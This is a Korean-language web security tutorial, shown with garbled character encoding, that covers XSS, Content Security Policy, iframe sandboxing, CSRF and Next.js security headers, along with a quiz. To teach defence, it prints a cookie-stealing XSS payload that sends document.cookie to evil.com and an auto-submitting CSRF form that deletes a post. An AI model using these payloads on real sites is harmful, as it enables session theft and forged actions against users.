๐ 03. HTML ๋ณด์ ๊ธฐ์ด: ๋ด๊ฐ ๋ง๋ ํผ์ด ๊ณต๊ฒฉ ๊ฒฝ๋ก๊ฐ ๋๋ค๋ฉด
๐ ๊ฐ์
XSS, CSRF, Content Security Policy, iframe sandbox, sri โ HTML ์์ค์์ ๋ฐฉ์ดํ ์ ์๋ ๋ณด์ ์ทจ์ฝ์ ๊ณผ ๋ฐฉ์ด ๊ธฐ๋ฒ์ ์ค์ ์์๋ก ๋ค๋ฃน๋๋ค.
๐ ์ด ๋ฌธ์๋ฅผ ์ฝ๊ธฐ ์ ์
โฑ๏ธ ์์ ์ฝ๊ธฐ ์๊ฐ: 20๋ถ / ํต์ฌ ํํธ๋ง: 12๋ถ
๐ฏ ์ด ๋ฌธ์์ ์์น
HTML guide 04๋ฒ(form/input)๊ณผ 03๋ฒ(head/meta/SEO)์ ๋จผ์ ์ฝ์ด๋ณด์ธ์.
๐บ๏ธ ์ด ๋ฌธ์์ ํ๋ฆ
[XSS ๊ณต๊ฒฉ๊ณผ ๋ฐฉ์ด] โ [CSRF์ same-site ์ฟ ํค] โ [Content Security Policy] โ [iframe sandbox] โ [Next.js ๋ณด์ ํค๋ ์ค์ ]
๐ฏ ์ด ๋ฌธ์๋ฅผ ๋ค ์ฝ์ผ๋ฉด ํ ์ ์๋ ๊ฒ
- XSS ๊ณต๊ฒฉ์ด HTML์์ ์ด๋ป๊ฒ ๋ฐ์ํ๋์ง, innerHTML ์ฌ์ฉ์ ์ํ์ฑ์ ์ค๋ช ํ ์ ์๋ค.
- CSRF๊ฐ ๋ฌด์์ธ์ง, SameSite ์ฟ ํค์ CSRF ํ ํฐ์ผ๋ก ์ด๋ป๊ฒ ๋ฐฉ์ดํ๋์ง ์ ์ ์๋ค.
- CSP(Content Security Policy) ์ ์ญํ ๊ณผ ๊ธฐ๋ณธ ์ค์ ์ ์ดํดํ๋ค.
- Next.js์์ ๋ณด์ ํค๋๋ฅผ ์ค์ ํ๋ ๋ฐฉ๋ฒ์ ์ ์ ์๋ค.
๐บ๏ธ ์ด ๋ฌธ์์ ๋ฐฐ๊ฒฝ ์ธ๊ณ๊ด: '์์๋ค ์ปค๋ฎค๋ํฐ'
- ๐ฃ ์์ฒ ( ์ ์
): "์ํธ ๋, ์ฐ๋ฆฌ ๊ฒ์ํ์ ๋๊ธ์
<script>ํ๊ทธ ๋ฃ์ผ๋ฉด ์ด๋ป๊ฒ ๋๋์? ์ค๋ง ์คํ์ด ๋๋ ๊ฑด ์๋์ฃ ?" - ๐ฆ ์ํธ ( ๋ฆฌ๋ ): "์์ฒ ๋, ์ง๊ธ ๋น์ฅ ํ
์คํธํด๋ด์. ๋ง์ฝ
<script>alert('XSS')</script>๋ฅผ ๋๊ธ์ ์ฐ๊ณ alert ์ฐฝ์ด ๋จ๋ฉด, ๊ณต๊ฒฉ์๋ ๊ทธ ์๋ฆฌ์์ ์ฌ์ฉ์ ์ฟ ํค๋ฅผ ๋นผ๊ฐ ์ ์์ด์. XSS๋ HTML ๋ ๋๋ง ๋ ๋ฒจ์์ ๋ฐ์ํ๋ ๊ณต๊ฒฉ์ด๋ผ ์๋ฒ ์ธ์ด ์๊ด์์ด ๋ชจ๋ ์น ์ฑ์ด ๋์์ด์์."
๐จ 1. XSS (Cross-Site Scripting) โ HTML ์์ค์ ๊ฐ์ฅ ์ํํ ๊ณต๊ฒฉ
XSS๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์น ํ์ด์ง์ ์ฃผ์ ํด ๋ค๋ฅธ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ์คํ์ํค๋ ๊ณต๊ฒฉ์ด์ผ.
<!-- โ ์ทจ์ฝํ ํจํด: ์ฌ์ฉ์ ์
๋ ฅ์ innerHTML์ ์ง์ ์ฝ์
-->
<div id="comment-area"></div>
<script>
// ์ฌ์ฉ์ ๋๊ธ์ ๊ทธ๋๋ก innerHTML์ ์ฝ์
const userComment = "<script>document.cookie = 'stolen'; fetch('https://evil.com?c=' + document.cookie)</script>";
document.getElementById('comment-area').innerHTML = userComment;
// โ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์ด ์ฟ ํค ํ์ทจ!
</script>๋ฐฉ์ด ์ ๋ต:
// โ
๋ฐฉ์ด 1: innerHTML ๋์ textContent ์ฌ์ฉ (HTML ํ์ฑ ์์ด ํ
์คํธ๋ก๋ง ์ฝ์
)
const userComment = "<script>์
์ฑ์ฝ๋</script>";
document.getElementById('comment-area').textContent = userComment;
// textContent๋ HTML ํ๊ทธ๋ฅผ ๊ทธ๋๋ก ๋ฌธ์์ด๋ก ์ฒ๋ฆฌ โ ์คํฌ๋ฆฝํธ ์คํ ์ ๋จ// โ
๋ฐฉ์ด 2: React๋ ๊ธฐ๋ณธ์ ์ผ๋ก XSS ๋ฐฉ์ด (์๋ ์ด์ค์ผ์ดํ)
function Comment({ text }: { text: string }) {
// React JSX๋ ์๋์ผ๋ก ๋ฌธ์์ด์ ์ด์ค์ผ์ดํ โ ์คํฌ๋ฆฝํธ ์ฝ์
๋ถ๊ฐ
return <div>{text}</div>;
}
// โ dangerouslySetInnerHTML๋ React์ XSS ๋ฐฉ์ด๋ฅผ ์ฐํํจ!
// ๋ฐ๋์ ์๋ฒ์์ sanitize ํ ์ฌ์ฉ
function RichContent({ html }: { html: string }) {
// isomorphic-dompurify ๋ฑ์ผ๋ก sanitize ํ ์ฌ์ฉ
return <div dangerouslySetInnerHTML={{ __html: sanitize(html) }} />;
}๐ก๏ธ 2. Content Security Policy (CSP) โ ํ์ฉ๋ ์ถ์ฒ๋ง ์คํ
CSP๋ ๋ธ๋ผ์ฐ์ ์๊ฒ ์ด๋ค ์ถ์ฒ์ ์คํฌ๋ฆฝํธ/์คํ์ผ๋ง ์คํํ ์ง ์ ์ธํ๋ HTTP ํค๋์ผ. HTML <meta> ํ๊ทธ๋ก๋ ์ค์ ๊ฐ๋ฅ.
<!-- HTML meta๋ก CSP ์ค์ (HTTP ํค๋ ๋ฐฉ์์ด ๋ ๊ถ์ฅ๋จ) -->
<meta
http-equiv="Content-Security-Policy"
content="
default-src 'self';
script-src 'self' https://analytics.example.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https://cdn.example.com;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.ysdeveloper.community;
"
/>CSP ์ง์์ด ํด์ค:
default-src 'self': ๋์ผ ์ถ์ฒ๋ง ํ์ฉ (๊ธฐ๋ณธ๊ฐ)script-src 'self' https://analytics.example.com: ์์ฒด ์๋ฒ + ํน์ ๋ถ์ ์๋ฒ์ JS๋ง ์คํ'unsafe-inline': ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ/์คํ์ผ ํ์ฉ (XSS ๋ฐฉ์ด ์ฝํ, ํผํ๋ ๊ฒ ์ข์)
Next.js์์ CSP์ ๋ณด์ ํค๋ ์ค์ :
// next.config.js
const securityHeaders = [
{
key: "Content-Security-Policy",
value: [
"default-src 'self'",
"script-src 'self' 'nonce-${nonce}'", // nonce ๊ธฐ๋ฐ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ํ์ฉ
"style-src 'self' 'unsafe-inline'",
"img-src 'self' blob: data:",
"font-src 'self'",
].join("; "),
},
{
key: "X-Frame-Options",
value: "DENY", // ์ด ํ์ด์ง๋ฅผ iframe ์์ ๋ฃ์ง ๋ชปํ๊ฒ (ํด๋ฆญ์ฌํน ๋ฐฉ์ด)
},
{
key: "X-Content-Type-Options",
value: "nosniff", // MIME ํ์
์ค๋ํ ๋ฐฉ์ง
},
{
key: "Referrer-Policy",
value: "strict-origin-when-cross-origin",
},
];
module.exports = {
async headers() {
return [
{
source: "/(.*)",
headers: securityHeaders,
},
];
},
};๐ผ๏ธ 3. iframe sandbox โ ์๋ฒ ๋ ์ฝํ ์ธ ๊ฒฉ๋ฆฌ
์๋ํํฐ ์ฝํ
์ธ ๋ฅผ <iframe> ์ผ๋ก ์๋ฒ ๋ํ ๋ sandbox ์์ฑ์ผ๋ก ๊ถํ์ ์ ํํด.
<!-- โ sandbox ์๋ iframe: ์๋ฒ ๋ ํ์ด์ง๊ฐ ๋ถ๋ชจ ํ์ด์ง์ ์์ ๋กญ๊ฒ ์ ๊ทผ ๊ฐ๋ฅ -->
<iframe src="https://external-widget.com"></iframe>
<!-- โ
sandbox๋ก ๊ถํ ์ต์ํ -->
<iframe
src="https://external-widget.com"
sandbox="allow-scripts allow-same-origin"
<!-- allow-scripts: JS ์คํ ํ์ฉ (์์ ฏ์ด ๋์ํด์ผ ํ๋ฏ๋ก) -->
<!-- allow-same-origin: ๋์ผ ์ถ์ฒ ์ ์ฑ
ํ์ฉ (ํ์ํ ๊ฒฝ์ฐ๋ง) -->
<!-- allow-forms: ํผ ์ ์ถ ํ์ฉ -->
<!-- allow-popups: ํ์
ํ์ฉ -->
<!-- ๋๋จธ์ง ๊ธฐ๋ฅ์ ๋ชจ๋ ์ฐจ๋จ -->
loading="lazy"
></iframe>๐ 4. CSRF โ ์ฌ์ฉ์ ๋ชจ๋ฅด๊ฒ ์์ฒญ ์์กฐ
CSRF(Cross-Site Request Forgery)๋ ๋ก๊ทธ์ธ๋ ์ฌ์ฉ์์ ๊ถํ์ ์ด์ฉํด ์๋ํ์ง ์์ ์์ฒญ์ ๋ณด๋ด๋ ๊ณต๊ฒฉ์ด์ผ.
<!-- โ CSRF ๊ณต๊ฒฉ ์๋๋ฆฌ์ค: ์
์ฑ ์ฌ์ดํธ์ ์จ๊ฒจ์ง ํผ -->
<!-- ํผํด์๊ฐ evil.com ๋ฐฉ๋ฌธ ์ ysdeveloper.community์ ๊ฒ์๊ธ ์ญ์ ์์ฒญ์ด ์๋ ๋ฐ์ก๋จ -->
<body onload="document.forms[0].submit()">
<form action="https://ysdeveloper.community/api/posts/1" method="POST">
<input type="hidden" name="_method" value="DELETE" />
</form>
</body>๋ฐฉ์ด ์ ๋ต:
- CSRF ํ ํฐ: ์๋ฒ๊ฐ ์ธ์ ๋ณ ๊ณ ์ ํ ํฐ์ ํผ์ ์ฝ์ , ์ ์ถ ์ ๊ฒ์ฆ
- SameSite ์ฟ ํค:
Set-Cookie: session=abc; SameSite=Strictโ ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ ์ ์ฟ ํค ์ ์ก ์ ๋จ
<!-- CSRF ํ ํฐ์ hidden input์ผ๋ก ํผ์ ํฌํจ (์๋ฒ์์ ์์ฑ) -->
<form method="POST" action="/api/posts">
<input type="hidden" name="csrf_token" value="{{ server_generated_token }}" />
<!-- ... ๋๋จธ์ง ํ๋ -->
</form>๐ ๋ง๋ฌด๋ฆฌ ํด์ฆ
Q1. React์ dangerouslySetInnerHTML ์ ์ฌ์ฉํด์ผ ํ ๋ ๋ฐ๋์ ํด์ผ ํ๋ ๊ฒ์?
โ ์ ๋ต: DOMPurify ๊ฐ์ sanitize ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก HTML ์ ์ ํ ์ฝ์
๐ก ์์ธ ํด์ค:
dangerouslySetInnerHTML์ React์ ์๋ XSS ๋ฐฉ์ด๋ฅผ ์ฐํํ๋ฏ๋ก, ์ง์ ์ฝ์ ํ๋ HTML์ด ์์ ํ์ง ์ง์ ๋ณด์ฅํด์ผ ํด์.isomorphic-dompurify๋DOMPurify๋ก<script>, ์ด๋ฒคํธ ํธ๋ค๋ฌ ์์ฑ ๋ฑ์ ์ ๊ฑฐํ ํ ์ฌ์ฉํด์.
Q2. Content Security Policy์์ script-src 'self' ๋ง ์ค์ ํ์ ๋ ์ธ๋ผ์ธ <script> ํ๊ทธ๊ฐ ์คํ๋์ง ์๋ ์ด์ ๋?
โ
์ ๋ต: CSP์ script-src 'self' ๋ ๋์ผ ์ถ์ฒ์ ์ธ๋ถ JS ํ์ผ๋ง ํ์ฉํ๊ณ , ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฐจ๋จํจ (์ธ๋ผ์ธ ํ์ฉํ๋ ค๋ฉด 'unsafe-inline' ๋๋ 'nonce-xxx' ํ์)
๐ก ์์ธ ํด์ค:
- CSP๋ XSS์ ํต์ฌ์ธ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ๋ฅผ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฐจ๋จํด์.
'unsafe-inline'์ ํ์ฉํ๋ฉด ํธ์์ฑ์ ๋์์ง์ง๋ง ์ธ๋ผ์ธ XSS ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํด์ง๋ฏ๋ก,nonce๊ธฐ๋ฐ ๋ฐฉ์์ผ๋ก ํน์ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ๋ง ํ์ฉํ๋ ๊ฒ ๊ถ์ฅ์ด์์.
Q3. ์์ฒ ์ด์ ํ ์คํธ ํ์
์์๋ค ์ปค๋ฎค๋ํฐ์ ์ธ๋ถ YouTube ๋์์์
<iframe>์ผ๋ก ์๋ฒ ๋ํ๋ ค ํ๋ค.
๋ณด์์ ์ํด ์ด๋ค ์์ฑ์ ์ถ๊ฐํด์ผ ํ๋๊ฐ?
โ
์ ๋ต: sandbox="allow-scripts allow-same-origin allow-presentation" ์ loading="lazy" ์ถ๊ฐ
๐ก ์์ธ ํด์ค:
- YouTube iframe์๋ ์คํฌ๋ฆฝํธ๊ฐ ํ์ํ๋ฏ๋ก
allow-scripts๋ ํ์์์.allow-same-origin์ YouTube๊ฐ ์์ฒด ์ธ์ฆ์ ์ํด ํ์ํ ์ ์์ด์. ๋๋จธ์ง ๊ถํ(ํ์ , ์์ ์ ์ถ ๋ฑ)์ ์ฐจ๋จํด์ ์ต์ ๊ถํ์ ์ค์ํ์ธ์.
๐ฃ ์์ฒ ์ด์ ํด๊ทผ ์ผ๊ธฐ
์ง์ง ์ค๋ ์์๋ ๋ฌ๋ค. ํ
์คํธํด๋ณด๋๊น ์ฐ๋ฆฌ ๋๊ธ ์
๋ ฅ์ฐฝ์ <script>alert('XSS')</script> ๋ฃ์ผ๋๊น alert๊ฐ ๋ด๋ค. React JSX๋ก ์ถ๋ ฅํ๋ฉด ์๋ ์ด์ค์ผ์ดํ๋๋๋ฐ, ์ด์ ์ ๋๊ตฐ๊ฐ dangerouslySetInnerHTML ๋ก ์ง ๋ถ๋ถ์ด ์์๋ ๊ฑฐ๋ค. ์ํธ ๋ฆฌ๋ ๋์ด "์ด PR ์ ์ฌ๋ผ์์ผ๋ฉด ๋ณด์ ์ฌ๊ณ ๋ฌ์ ๊ฑฐ์์"๋ผ๊ณ ํ์
จ์ ๋ ์ง์ง ์์ฐํ๋ค.
๐ก "๋ณด์์ ๊ฐ๋ฐ ํธ์๋ฅผ ์ํ
innerHTML,dangerouslySetInnerHTML๊ฐ์ '์ํํ ์ง๋ฆ๊ธธ'์ ์ฐ์ง ์๋ ์ต๊ด์์ ์์ํ๋ค. React๋ฅผ ์ด๋ค๊ณ ์๋์ผ๋ก ์์ ํ ๊ฒ ์๋๋ค."
CSP ์ค์ ํ๊ณ Lighthouse ๋ค์ ๋๋ ธ์ ๋ ๋ณด์ ์ ์๊ฐ ์ฌ๋ผ๊ฐ๋ ๊ฑธ ๋ณด๋ ๋ฟ๋ฏํ๋ค. ๋ค์์ OWASP Top 10 ์ฝ์ด๋ด์ผ๊ฒ ๋ค.
๐ ๋ ์์๋ณด๊ธฐ